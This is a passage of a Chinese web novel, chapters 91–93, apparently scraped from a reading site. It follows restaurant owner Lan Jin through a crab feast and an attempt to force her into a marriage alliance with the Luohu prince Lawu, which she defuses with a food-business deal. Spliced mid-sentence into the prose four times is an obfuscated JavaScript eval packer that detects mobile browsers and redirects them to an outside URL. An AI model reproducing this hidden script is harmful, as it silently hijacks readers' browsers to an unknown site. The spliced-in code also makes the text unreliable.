刚出炉的大闸蟹极烫，蓝锦率先拿起一只来，招呼着萧仁禹： “要快吃，不能怕烫手，热着吃螃蟹，才别有一番风味。” 她拿着专门配的小剪，剪去了裹在螃蟹身上的棉绳，掰开肚腹上的蟹脐，扔了不要。 蟹汁已经浓酽酽地流了满手，蓝锦急着用嘴去吸。 酒楼上清蒸大闸蟹，十只以上，惯例要配蟹八件的。 以防有偏好优雅吃蟹的客人，喜欢用那锤、镦、钳、匙、叉、铲、刮、针。 不沾手，一点点剥除每一根蟹肉丝。 蓝锦倒是省却了这些，一把剪刀，减去蟹脚，徒手拆着而已，更有趣味些。 顶多再拿一只小勺，用以舀蟹醋。 掀开橙红的蟹盖，蟹黄的香气更加诱人口水。 以蟹身做碗，一勺香醋倒进蟹盖里，金灿灿的蟹黄染上了一些黑色，倒是显得更加美味。 一口放进嘴里，硬而醇香的蟹黄，在唇齿间大肆攻城略地。 稍一用力，蟹油就汪汪地奔涌出来，所到之处，每一个味蕾都在惊叫它的鲜香。 大块的蟹黄蘸了醋，一筷子一筷子地送进嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655752|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 蟹盖里残余的扒壳蟹黄，数量依旧可观。 混着鲜香提味的蟹醋，一口气吸溜进嘴里，浓香的味道扑面而来，叫人几乎忍不住跺脚。 满足，太过满足！ 此时，四两蟹的妙处就显现了出来。 饱食一番之后，蟹身里的蟹黄仍旧丰满。 扔去六角形的蟹心不要，豪放地把蟹身一掰两半。 拿着蟹脚处，像做油炸蟹时，给螃蟹封口的姿势一般。把流溢着蟹黄的半扇蟹，按到醋碟里蘸上一蘸。 快速地倒转蟹身，送到嘴边。 又砸又嘬，只觉鲜美香浓的汁水，混着腴美的蟹黄，丰盈地冲到上颚。 吮吸入腹，实在是人间一大乐事。 “太过瘾了！”蓝锦嗦完最后一点蟹黄，仰天长叹。 连一向精致的萧仁禹，也放弃了优雅的蟹八件，享受起了“拆蟹玩”的乐趣，动作竟不落后于熟练的蓝锦。 二人吃得酣畅，几乎出了一层薄汗。 蓝锦缓下动作，举着半扇蟹壳，一点点挑下洁白的蟹腮。 吃螃蟹时，最大的遗憾大概就在此时了。 蟹腮这样卖相极佳，如羽如睫，长得一副好吃的样子。 食客却无福消受，只好含恨弃去不要。 真正能吃的蟹肉，还要再费上一番折腾。 螃蟹的肉是极讲规矩的，就像形制有度的蜂巢，一格一格的透明软壳，隔开了一包一包的鲜甜肉丝。 吃的时候，用牙一对，每次掰下一格。 虔诚地揭去外层地薄软壳，完整丰满的蟹肉就能全放进嘴里。 不蘸醋时，已经极尽鲜甜。 若要蘸醋，只会更添一番刺激，舌面的味蕾叫姜醋二次唤醒，怀抱大敞，深拥嫩滑甜鲜的雪白蟹肉。 蟹肉格子是刚好对着蟹脚的。 一格一只，纹丝不乱。 蟹脚吃起来就更容易了，剪去两头，轻轻一捅，完整的蟹腿肉就冒了出来。 搁到姜醋里一蘸，嚼起来紧致鲜弹，叫人欲罢不能。 有时，捏着蟹脚往下一拽，蟹腿肉叫蟹身留在的原地。 白生生，肉嘟嘟的，直接就能放进嘴里，再便宜不过了。 螃蟹的那两只大钳子，好像总是会叫人留到最后来吃。 无他，只是拆卸起来吃力了些。 实际上，这里的蟹肉也自成一派。 丝络分明，好像新整出来的银丝糕，一瓣瓣的。 别的不说，鲜味要较蟹腿肉更浓。 所以，即便蟹钳太过坚硬难对付，蓝锦还是坚持不懈地掰碎了它，不放过一丝雪白的蟹肉。 “螃蟹真是好吃！每年不吃上这个味道，只怕这一年都白过了。” 蓝锦往座椅上软软一瘫，忍不住感叹。 她总算是知道，为何那些老客们，日日来吃蟹，还乐此不疲。 不仅如此，还要争相多存银子，力求当日最大的蟹，都留给他们。 “所以锦娘还是长久地留在天都才好，去那些南方小国，可吃不上这样好的大闸蟹。” 萧仁禹默默补刀。 蓝锦瞥了他一眼：“那人都走了，你还没完了。” 91. 第91章 封蓝锦为县主的消息，是和罗斛国远道带来的椰子，一起送达蓝记酒楼的。 宫里的队伍足足跑了三家店，才找到束起头巾、在后院忙碌的蓝锦。 “县主？本朝有过这种惯例吗？” 封一个市井酒肆的掌柜做县主，怎么说也不像常有的事。 “圣人念在蓝娘子于社稷有功，正是嘉奖有功之臣呐。” 蓝锦云里雾里。 食饷司的赏一早就给过了，就算为着军粮改进的功绩，先前不也给了她一个“御膳娘子”的封号了吗？ “蓝大掌柜，此番你可是要好好谢谢我啊。” 送赏的队伍刚一撤下，二皇子谢承彦就大摇大摆地踏进了蓝记酒楼。 蓝锦眉头微蹙。 “如果不是我去阿耶面前进言，他可想不起来赐你一个这么好的出身。等回头你去了罗斛王庭，只怕要叫那些莺莺燕燕欺负得无力还手啊！” 二皇子谢承彦袖着手，流里流气地倚在一条腿上，伸出一只脚来得意地一下下点着地面。 蓝锦胸中一股郁气：“殿下还是把话说得明白一些。” 二皇子呵呵一笑：“蓝大掌柜不该是最清楚的吗？宫宴上凭借罗斛的古怪东西一鸣惊人，哟，那可是技惊四座。天都重臣，如今谁人不识你蓝锦啊？” “我还当是因为什么，原来一早就跟人家眉来眼去，暗通款曲，定了终身。” “大家还以为你做出那些菜是有些急智，其实是千里姻缘一线牵，命定的缘分！你那是要赶着去做罗斛王妃啦。” “谁人说的闲话，何时定下来的？殿下若继续在此信口雌黄，只怕终会伤极自身。莫要忘了先前万年县的教训。” 二皇子仍旧不恼不怒：“嘿，我管你怎么说！总之，现下要去罗斛和亲的人是你，蓝县主。” “继续留在天都享福的，可是我妹妹。唉哟，先生教得对，眼中钉还是拔之而后快啊。” “你就在这好好等着吧。你的异国情郎，只怕此刻正在写文书上折子，就等着娶你回家呢。哈哈哈，爽快！” 蓝锦见他不像是随口发癫，言语之间，倒很有些依据。 当下驱马套车，赶去了大公主的值房。 “谢承彦给你请封了县主？” 这样大的事，需要过那么多礼，走过层层流程。 其中任何一个环节都没有透露出半分风声，叫她这个大公主知晓分毫。 明显是有人刻意瞒了消息。 想想天都近来如火如荼进行中的，与罗斛国的和谈，她当即明白了过来。 “此事真有可能是为了三妹妹。” 三公主谢安华尚未定亲，从年龄上是和亲最合适的人选。 只是圣人宠爱她的生母，尚在犹疑之间。 二皇子谢承彦与安华一母同胞，只比她大上一盏茶的功夫。 他瞅准了空子，在圣人面前搬弄唇舌，直接将这烫手的山芋，扔到了看不顺眼的蓝锦头上。 “好多人都听见了，天都的大街小巷都在传，说罗斛的拉乌王子，一见那掌柜就走不动道，撵也撵不走的。” “妹妹，如今这麻烦也抛出去了，你怎么还是不大高兴啊？” 二皇子谢承彦自觉好容易办成一件正经大事，首先想到的就是到自家妹妹面前邀功。 “那你也不能，你也不能强让阿耶封她做县主，嫁去罗斛了呀。” 三公主搅着帕子，心里有种说不上的不对劲。 “哎哟，我的妹妹啊！不是她，就是你了！你难道想嫁给拉乌，嫁去那种蛮夷之地？那我和阿娘，就一辈子都见不到你了！” 谢承彦急得不行。 莫非拉乌又给自家妹妹灌了什么迷魂药？ 这人虽然模样周正，可他妹妹什么人没见过，不该吃这套。 今科探花，一表人才，风流少俊。 阿娘巴巴地给她递了画像，她就拿起来扫了一眼，立时撇下说不要，看不上。 “妹妹啊，你喜欢的不是姓萧的那小子吗？我可听说了啊，那小子满肚子坏水，见天往蓝记跑。和那掌柜的可有些不清不楚的。” “如今只是封她一个名头，这下可好，和亲也不用去了，讨厌的人也送走了，你喜欢的人不就直接收入囊中了吗？” 三公主把手里揉得不成样的花瓣往池子里一扔，一扭头，“哼”了一声，走了。 “嘿，你这，我这头替你急成这样，你倒是一点也不急！” 萧仁禹听见封县主的消息，反应也远比蓝锦着急得多。 最近使团的事花样繁多，他几乎跟了全程，立刻猜到了此举的意味。 上次在蓝记听到拉乌的剖白，他就心生警惕。 一直在和谈的进程中，努力剔除和亲这一项条件。 这些南蛮之人不通中原礼仪，不知道托媒备礼，登门造访，竟然光天化日之下大剌剌地当面求娶。 萧仁禹拿起反复推敲过多遍的折子，即刻进宫请见，痛陈和亲几项弊端。 “萧爱卿，我怎么觉得，你对罗斛国来和亲的事，分外关心啊？” 圣人走马观花地扫了一遍折子，搁在桌上，以指节轻叩。 “不过，你言辞恳切，所陈之事桩桩件件都颇有道理，甚合吾心啊。” 萧仁禹松了一口气。 “萧爱卿，你如此为罗斛和亲一事劳心劳力，我甚是欣慰。” “原本还打算听贵妃的，再留安华两年。你若是这般等不及，我倒是可以早日成全好事啊！” 圣人笑着起身，边等着小黄门为他换上便服，边对萧仁禹。 “回圣人，臣并无此意。其实，臣......” “阿耶！” 二皇子乐颠颠地冲进来，彷佛在妹妹安华那里受的气全然不存在。 “咱们快走吧，马车已经备好了。您放心，我摸准了，那个拉乌每日这个时辰都会去蓝记逗留。” “咱们神不知鬼不觉地抓他一个现形，看罗斛使团还敢不敢坚持要公主和亲。” “呵呵！不是为了你妹妹，倒是为了你自己的馋嘴吧。” 圣人拿手一指谢承彦，他便不好意思地笑了。 “萧爱卿啊，你也一道前往吧。” 虽说是微服出宫，可是气宇轩昂的几人往蓝记大厅里一站，周身的气度就不似平民百姓。 天子微服私访的故事，蓝锦已是听了千遍百遍。 她端的是从容不迫，像应对寻常客人一样，领人去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662234|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了厢房。 圣人翻看着伙计递来的菜单子。上头有画有字，间或还有几条老客的品评。 “这倒是有几分趣味。” 很快，他的心思就全被酒楼的菜色吸引。 唯有谢承彦还东张西望，四处寻找罗斛王子拉乌的下落。 “这道宫保双丁又是什么？” “客官，这是小店的自创菜。把那发酵过的臭干子，切成小丁，炸得干透油香。” “再用那酸甜酱汁子，配上一点辣味，和浆过的嫩鸡丁一起炒了。” “吃起来又鲜又香，嫩香可口，一点儿也不臭。” 圣人来了兴致：“臭食也可以入菜？” 萧仁禹主动答道： “蓝记曾经以螺蛳粉起家，也是一道闻着臭，吃着却香的鲜美汤粉。都是广受百姓欢迎，饱含平民智慧的美味。” 圣人微微颔首，又相中了食物画上红艳艳的毛血旺。 伙计一一记下，脚步轻柔地退出厢房。 虽然不知道来客的身份，可是萧探花都当陪客，可见来头不小啊。 灶上的师傅全都训练有素，一接到单子，就有条不紊地准备起来。 支起热锅，把蓝记特制的火锅底料，下到滋滋冒泡的滚油里。用炒勺翻捣均匀，煸出香味。 油香鲜红的红油底，在锅中逐圈漾开。 大红袍花椒和茱萸四处翻滚，雾气和香气一并绕梁而去，久久不散。 麻辣的辛香，带着一点呛口的浓烈。 又混杂着豆瓣的咸香，在整个厨灶间飘逸不散，馋得人口齿生津。 焯煮处理过的食材，排着队滑进锅里。 当仁不让的就是鲜鸭血。 这里头什么技巧都没有，就是现宰的鸭子放出来的鲜血。 一块块滑嫩至极，荤香十足的鸭血，“噗”地一声溜进鲜红欲滴的汤底里。 现宰现片的鳝鱼，去除了粘液，赤红黄褐，极具视觉冲击力。 整碗倒进咕嘟冒泡的锅中，几乎立刻卷起了边，卯足了劲地吸汤喝汁。 雪白的牛百叶，丝与丝之间的夹缝里，勾满了麻香十足的花椒。 黑褐的脆毛肚，薄而香，瞬间裹上一层红闪闪的油脂。 这道毛血旺，菜未至，香先来。 霸道麻辣的辛香，从厨灶间一路飘到厢房，引得周遭的食客屡屡回头。 “给我们也来一份这个！” “得嘞！” 二皇子殷勤地舀起一碗毛血旺，递到圣人面前。 叫他嫌弃得一把推开，他已等不及旁人布菜，自己就要举箸夹食。 鲜嫩多汁的鳝鱼片一入口，圣人就知道此行不一般了。 鱼片的娇嫩，与舌尖勾连缠绵，缱绻难耐。 在吃客未能回神的时候，早已化成一片，顺着喉咙溜到肚腹之中，徒留下满口鲜香，挥之不去。 鳝鱼片表面的红亮光泽不是摆设。 热烫的麻辣香气，更激发了鳝鱼的透骨鲜味。 香，酥，麻，辣，鲜，叫人食指大动。 鸭血更是还没动嘴咬就化成了水。 白里透红的牛百叶，每咬一口都是爽脆。褐红油香的脆毛肚，每嚼一下都是韧弹。 92. 第92章 二皇子谢承彦原本打算只看好戏，绝不吃蓝记的一口东西的。 可计划赶不上变化。 如今看见阿耶吃得这么香，周遭令人忍不住沉迷的辣香也不是假的。 他也忍不住伸出筷子，夹了一片奇怪的牛百叶。 好吃，太好吃了。 多如发丝的牛百叶，丝丝缕缕地裹住了这道菜里的每一种调料。 略显粗糙的百叶表面，还挂满了许多红润的汤汁。 这一口放进嘴里嚼着，只觉刺激非凡。 整个嘴巴都像叫火把点燃了一般，从舌尖到喉头，全都蹿着热烫的小火苗。 更怪的是这个牛百叶，怎么就这样越嚼越香，越嚼越有滋味，越嚼越能品出其中的鲜美。 二皇子完全忘了此行的目的，已经无师自通，学会了用毛血旺裹一团米饭，搭配绝佳。 一行人吃得风卷残云，圣人还指着这道毛血旺： “先订上十日的份额，每日晚膳时送进宫里。” 二皇子不停点头，已经决意这之后的十天，都要去找阿耶蹭晚膳。 跟着二皇子的侍从是得了贵妃娘娘嘱托的，此时不住清咳，提醒他此行的正事。 毕竟千方百计哄了圣人微服出宫，可不是真来吃饭的。 谢承彦这才想起来，还一副遗憾惋惜的样子，恋恋不舍地放下了筷子。 “阿耶，说是就在二楼转角的厢房，咱们一道去瞧瞧，看看鸳鸯会。” “胡闹，不成体统。堂堂君上，去听一个食肆老板的墙角，这还像不像话。” 谢承彦怏怏不乐：“阿耶，我们本就说好的。” 圣人脸上也有些挂不住，他好容易吃上一份心仪的菜色，偏还有个熊孩子给他捣乱。 “这事简单。我把那掌柜的叫来，当面一问，还有什么弄不清楚的。我知道你心疼你妹妹，你懂得友爱，这是很好的。” 小黄门得了眼色，打起帘子，唤伙计叫来了蓝锦。 “客官，您还有什么需要的？” 蓝锦没估摸出他葫芦里卖的什么药，只好先选了个中庸的称呼。 是希望旁人认不出他，陪着他一起演戏。还是希望旁人深感龙威，见面就拜。 圣人倒是很满意蓝锦的反应。 放下碗，端起长辈的架子，笑道： “我听闻，罗斛国的拉乌王子，有意与你缔结连理，你们二人也是佳偶天成。可有此事？” “这是于国家社稷有功的大好事。你能有此机遇，也是好运道啊，哈哈哈。” 蓝锦坚决道：“客官，这其中想是有误会，绝无此事。” 圣人只当她是小女儿害羞，呵呵笑道： “此事总有挑明的那一天。何况，之前不是还赠了你一个县主之位吗？梁府也不会叫人亏待了去，你只管放心地走。” “罗斛国虽不如我们富庶丰饶，可也是锦衣玉食。从此你也就不必辛劳，洗手做羹汤了。哎，只是这些绝妙佳肴的食方，你可要留下些啊。” 蓝锦一个头两个大，硬着头皮道：“客官，其实，我已经有......” 萧仁禹提前截断了蓝锦的话，率先对圣人道： “其实，我与锦娘是自小定下的婚约，只是梁府想多留锦娘几年，这才尚未完婚。无论如何，罗斛，锦娘是去不得的。” 圣人把筷子一摔：“你说什么？萧仁禹，你再说一遍！” “回圣上，我一心钦慕锦娘。只求圣上做主，成全好事。”萧仁禹不卑不亢，继续道。 圣人“嚯”地一下站起身： “好哇，好哇。你们年轻人，都有自己的想法。一个个都瞒着我，主意大得很！好，好得很！都随你们！” 竟是摔门而去。 小黄门和禁卫军匆匆跟上，二皇子谢承彦也叫这意想不到的一出，弄得不知该如何是好。 他学着圣人的样子，狠狠撂下一句：“主意大得很！” 一心牵挂着自家妹妹的去留，也匆匆跟了上去。 圣人也是叫萧仁禹气昏了头。 一向驯顺、用得极趁手的臣下，自己一直心仪的驸马人选。 冷不丁骤然生了反骨，给他来了这么一出。 他心中不敢相信，只觉得萧仁禹才是一时昏了头。 放着他的掌上明珠安华不娶，拖拖拉拉，到头来竟要娶一个市井食肆里的女掌柜。 蓝锦与安坐在原处的萧仁禹四目相对。 “这是可以直接说的吗？” “当然可以。我与锦娘自小便指腹为婚，交换了信物。这还是锦娘母亲的遗愿，只是两家未曾大肆宣扬罢了。于情于理，这都没什么不能说的。” “更何况，我心慕锦娘。若要让我将自己的挚爱拱手送去异乡，这才是万万不可以。” 蓝锦没想到他会在此时不顾君威，干脆挑明。心头酥麻，人却还没有失了理智。 她思忖片刻，缓缓开口道：“当下的局势，最要紧还是那个莫名其妙的罗斛和亲。” 两人彼此看着对方的眼睛，都懂了对方的意思。 蓝记的厨房，再度热闹起来。 及腰高的大锅里，浓郁咸鲜的卤汤翻江倒海，汹涌地咕嘟着。 红艳艳的辣油，覆在浅褐色的高汤表面，四处游走。 只消看上一眼，胃里就陡然热烫了起来。 卤汤里放了大量的上乘香料。 八角，桂皮，花椒，草果，丁香，茴香，陈皮...... 汤里是金黄的鸭货，鸭头、鸭肠、鸭胗......不一而足。 蓝锦看着火候，捞起满身红油的鸭货。 卤汁顺着鸭肉表面滴滴坠落，在白瓷碗里格外显眼。 把沉甸甸的麻辣鸭货放进食篮里，蓝锦嘱咐楼里的车夫：“去朱雀街的驿馆。” 罗斛使团居住的地方，本不许闲杂人等随意造访的。 可是蓝锦是宫里新封的县主，虽然暂无封地，可也是有了身份的人。 尽管蓝锦拦住想要跟她一起来的萧仁禹，只身前往。 驿馆门口的小吏也未曾为难，直接替她进去通报了。 蓝锦苦中作乐地想，这算是拉乌和二皇子误打误撞带来的一大便利了。 “美丽的天都女郎，你居然找到这里来了。莫非你又想通了？我是真心盼望......” 拉乌神情激动，快步走到蓝锦面前。 “拉乌殿下”，蓝锦干脆先一步拦住他的话，“我今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667095|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前来，就是来与你商量此事的。” “如果方便的话，我们何不坐下好好谈谈？我给你带了些蓝记特色小食，或许你会喜欢。” 拉乌迫不及待地搓搓手，忙邀请蓝锦入座。 他刚才就闻到这股神秘的麻辣香味了！ 蓝锦四下打量了拉乌的下榻之处。 没有什么华丽的装饰，反倒是天都各种本土粮食和果蔬，四散在房间各处，甚至还有一袋一袋的种子。 就像有人随时随地拿起来研究，太过沉迷，顾不上收拾一般。 蓝锦心中稍定，笑着掀开食篮，与拉乌说道： “拉乌殿下，这份麻辣鸭货滋味鲜香刺激，不知你吃不吃得惯？” 她掰开一个鸭头，红辣的汁液顺着鸭头剖面的沟沟壑壑，蜿蜒流下。 “只是要自己用手拿着吃，才更香。看，像这样。” 拉乌早就迫不及待。 他先按着蓝锦的建议，用她带来的花香皂净了手。 立刻拿起一个卤得发褐的鸭头，也学着蓝锦的样子掰开来。 鸭头的骨头错综复杂，其中藏匿的油脂和贴骨肉也更加荤香十足。 浓郁的卤汁汪在每一寸细小的骨头缝里。 凑到嘴边，用力吮吸一口，麻，鲜，香，辣，叫人忍不住低呼出声。 上头的肉早已叫卤汁侵染得酥香软烂。 牙齿随意一扯，撕下一块咸香的鸭肉，先觉艮韧，又觉嫩鲜，抿上几口又软烂化渣。 一开始，多种口感和味型在唇齿间横冲直撞。 然后便是越啃越辣，越辣越香。 嘴唇忍不住叫这麻味激得发肿，斯哈不停，却是更加停不下来。 小小的鸭头仿佛有魔力，尤其是鸭舌那部分。 柔嫩多汁的舌头肉，猛地滋出一股火辣辣的汤汁。 拉乌反倒叫它弄得精神一振，更加执着地去咬后头的软骨。 卤过的筋皮弹润爽脆，在嘴里嚼着，余味还有一股黏糯。 舌面已经叫它麻得红肿，可是这种醇香的黏糯勾得人还想吃更多。 骨头酥了，脑髓也炖煮成膏，吸饱了辣汁，一下滑到嗓子眼里。 还有直接空口吃的卤鸭肠，爽脆弹牙，嚼得嘎吱作响。 肉头的鸭胗，吃起来大口大口的，好像和无骨的鸭脯肉没有区别，却更香更嫩。 蓝锦笑眯眯地看着拉乌风卷残云，直到他自己停下来，这才开口： “拉乌殿下，我能问问，您是为何要娶我为妻吗？” 拉乌惊喜道：“自然是因为......我知道中原有句古话，千里姻缘一线牵。自从我吃了你做的蟹粉狮子头，每天晚上都会梦到。我就知道，这份姻缘刚好应在你身上！” 蓝锦扑哧一笑：“怎么听着，该是应在蟹粉狮子头上。” 拉乌挠挠头：“狮子头确实好吃，我们国家，从未有过这样的吃食。” “如果你跟我回乡，全国都会流行起你做出的菜肴，连海神大人也会奉你为座上宾的！” 蓝锦反问他：“只是为了我做的饭，有必要走到成亲这一步吗？我们大可以合作啊。” 拉乌愣住了：“我们相隔万里，又非一国，这......” 93. 第93章 蓝锦从容地掏出一份企划案，递与拉乌。 有了上回和常乐师太洽谈的经验，她改进了企划案的写法。 一切从简，以图代文，着重强调了“技术入股”的概念。 蓝锦也不与拉乌谈什么复杂的条陈，只问：“你想要改善家乡的饮食，是也不是？” 拉乌把头点得小鸡啄米一般。 蓝锦微微一笑：“我愿意出食方，贵国出银钱，办起一个两方合作的食店。” “依旧沿用我这蓝记招牌，不愁生意不好，只怕你们回乡的沿途，都能做起生意来了。” “我还有个出海的商队，日后还能开发更多的菜色。” 拉乌没有说话，拿起茶盏抿了一口，这才皱着眉头开口道： “好厨艺不是靠纸面上的东西就能掌握的。只怕还是得靠县主亲临呀。” “县主是不是对我的后院心存疑虑？这个你放心，我不是下一任继承人，平时也就是一个富贵闲人。家中和谐安乐，势必以你为尊。” 蓝锦只道：“我倒不是这个意思。好厨艺也都是练出来的，殿下要是不放心，只管留下随行的大厨。” “我保准将他们培养得熟练，做出来的饭菜与我的手艺不相上下。如今蓝记都开了三家店，在训徒一道还是十分擅长的。” 拉乌仍旧踌躇不已，他实在不想放弃这位能点石成金的厨神娘子。 她从未见过千里之外的罗斛特产，却看一眼就知道如何食用。 烹调的菜肴美味可口，有自己的想法，酒楼也日进斗金。 他观察过，许多菜肴都是价格低廉的食材做成的，摇身一变就有几倍的利润。 罗斛的物产本就没有那么丰富。 若得了蓝县主化腐朽为神奇的手段，只怕子民们会更加面色红润，安居乐业了。 他打听过。除了三家生意红火的酒楼，连赫赫有名的食饷司，背后也有蓝锦的影子。 它刚设立了没多久，就多次改善了军粮，助力前线打了好几次胜仗。 所以，即便使节团的老人们看上了受宠的二皇子，卖力争取他的同胞妹妹——三公主安华，作为和亲对象，以期为两国的长久交好铺路。 拉乌还是一意孤行，坚持要娶蓝锦。 几方拉锯，僵持多日，但他还是不愿松口。 更何况，拉乌试探了圣人的口风。 纵然圣人舍不得自家女儿安华，他还是很想与罗斛修好的。 他很看重两国的贸易路线，对拉乌的意见也愿意听取一二。 连使节团推崇的二皇子，都派人悄悄找上了拉乌，暗示了此事必成。 拉乌使人拿来一个红木匣，当着蓝锦的面掀开一看，是一套赤金的头面，镶了朱红欲滴的红宝石。 “罗斛没有后位才能用红的习俗。这套红宝石头面，姑且赠与县主赏玩。请县主一定要等我的好消息。” 蓝锦捧着硬叫人塞过来的红宝石头面，只觉沉甸甸的，就要开口拒绝。 “不必了。” 一道清冷的声音从垂花连廊处传来。 大公主谢令章款步而来。 “拉乌王子，我来与你谈一桩生意。” 蓝锦与大公主相视一笑，重又安然地坐下了。 “想必你已经清楚了，食饷司是我们两个在背后管理。” “如今，我们愿意让出一部分好处，分与罗斛国。只要你们取消和亲。” 这是蓝锦与大公主商定好的。 谢令章梳理完食饷司那边的事宜，与诸位臣属讨论良久，划出了一些无伤大雅的方子，用于和罗斛国做交换。 食饷司？拉乌的眼神一亮。 比起饮食，自然是军事更加迫在眉睫。 他匆匆去寻罗斛使团，打算告诉他们这个好消息。 * 天都郊外的皇庄上，因为引了地热泉，临近冬日的花园子还是鲜妍葱郁的。 “什么？和谈结束了？” “回殿下，正是如此。使团那边把条陈敲定，最后上了一道折子，如今，已经在准备启程的事了。” 二皇子搁下鸟笼，把掖在腰间的衣裳下摆往外一扯： “如此着急，连要去和亲的人也跟他们一起走了？” 属下小心翼翼道：“这个......罗斛使节团重议了要求，不再主张和亲一事了......” 二皇子像个猴子似的抓耳挠腮：“什么？合着那个女掌柜不去罗斛，还在天都？” “那这个县主，我岂不是白请封了！” “不行，我要找阿耶去！” “哎，哎，殿下！万万不可，万万不可啊......” * 热闹的蓝记酒楼大厅里，坐满了来自罗斛的使节团。 大公主亲自端起酒杯，与众人道：“此番可称得上珠联璧合，万人操弓，无招不中。惟愿今后，祉猷并茂。” 拉乌王子站起来回敬，笑颜舒展：“还要多谢大公主慷慨，从中调停斡旋，是真心把我们罗斛当朋友的！” 想想天都贵族间流行的肥皂，还有效果颇佳的新式军粮...... 蓝锦在一张张高朋满座的圆桌中穿梭，像一只忙碌的小蝴蝶。 “这是本店特为罗斛朋友的饯别宴新推出的菜色——芙蓉牛柳。” “是选那牛腰上的牛柳肉，滤出鸡蛋清，配上干豆粉，把它浆得嫩嫩的。” “用素油，大片牛肉煎得黄黄的，香喷喷的。改刀成寸长的片，浇了爆香的葱姜汁子，还再淋了香麻油。” 上头还盖了一层嫩黄软滑的芙蓉蛋，也是素油炒的，香气扑鼻。 “嗳，吃起来竟有岭南的荔枝味。” “没错。里头搁了糖醋、豆粉，还有绍酒，吃起来酸甜肉头，不正是荔枝的味道嘛！” “这个牛肉的选材也好，鲜嫩多汁，入口即化。” “这道菜好吃，还不辣，正适合我这样吃不了辣的人。” 使节团里的人，说的是另一道口味鸡。 里头加了茱萸，红艳欲滴。一沾舌面，立刻撩起一片火。 这是冷菜，吃进嘴里却和热菜一个效果，薄汗涔涔地布满了脑门。 一点也不辣的冷碟也有。席间各摆了一道糟鹌鹑腿子，下酒正适宜。 酒酿制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674803|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成的糟卤浓郁鲜甜，使得腌过的鹌鹑咸鲜甘香，滋味醇厚。 鹌鹑本就个头细巧，叫糟卤汁子一裹，十分入味。 酒糟破坏了肉的纤维，使它更加柔嫩，不干不柴，肉隙里全是咸甜的酱汁。 淡淡的发酵香味，为鹌鹑肉添上一层复杂的底味，叫人一吃就忘不了。 佐酒来吃，清爽开胃，回甘绵长。 那种清淡的香味，神奇地在唇齿间久留不去。 禽类的鲜美，往往叫它在大宴上夺尽风头。 蓝记饯别宴的热菜里，就有一道风干蒸鸡。 “这道菜可要花费功夫在上头，至少要几个月。鸡宰杀了之后，不要拔毛，就这样把盐和花椒，满满地涂在身上。” “挂在阴凉又通风的檐下，天长日久地风干了它。上了锅一蒸，吃起来比火腿也不差。恐怕南边的气候就不合适这样做了，诸位在这里的蓝记多尝尝吧！” 蓝记的合作已经洽谈妥当，如今，罗斛国也要有蓝记的分号了。 “蓝掌柜得空一定也要来我们罗斛玩耍。虽然风物不同，也有许多值得一试的好东西。” “说不定，还能帮我们罗斛蓝记，新开发些菜色出来！” “哎，你们快尝这个风干蒸鸡。果真，比咱们在宫宴上吃的火腿，滋味也不差。” 连鸿胪寺的官员都差点顾不上翻译，满头大汗地夹了鸡腿来啃。 “皮肉紧韧，可是肉丝却嫩。这股咸味我最爱了，越嚼越美。” “咬起来好像还流油似的，那个皮肉，却像是嚼上一会儿就化了似的。” 拉乌更是吃得不抬头，一口风干鸡肉，一口花雕酒，不一会儿就有些醺醺然起来。 他举起杯子，试图与蓝锦敬酒。 “蓝县主，噢，蓝掌柜！多谢你不曾介怀我的莽撞之举。” “我原也是心系罗斛事宜，迫不得已才动了婚嫁的念头，如今事情完满落定，希望咱们以后还是朋友！” 萧仁禹不动声色地给蓝锦挡了这杯酒，替她喝下。 又开口道： “殿下也不必放在心上，区区小事，我们是不会介怀的。说起来，还要多谢殿下，帮我们更快地促成好事。” “我想过不了多久，大家就能喝上我们的喜酒了。只是殿下启程在即，大约等不及了。你放心，等下次见面之时，我定给你补上。” 蓝锦笑着瞥了他一眼。 拉乌人也不尴尬，爽朗一笑： “好！好！中原有句老话，四海之内皆兄弟也。” 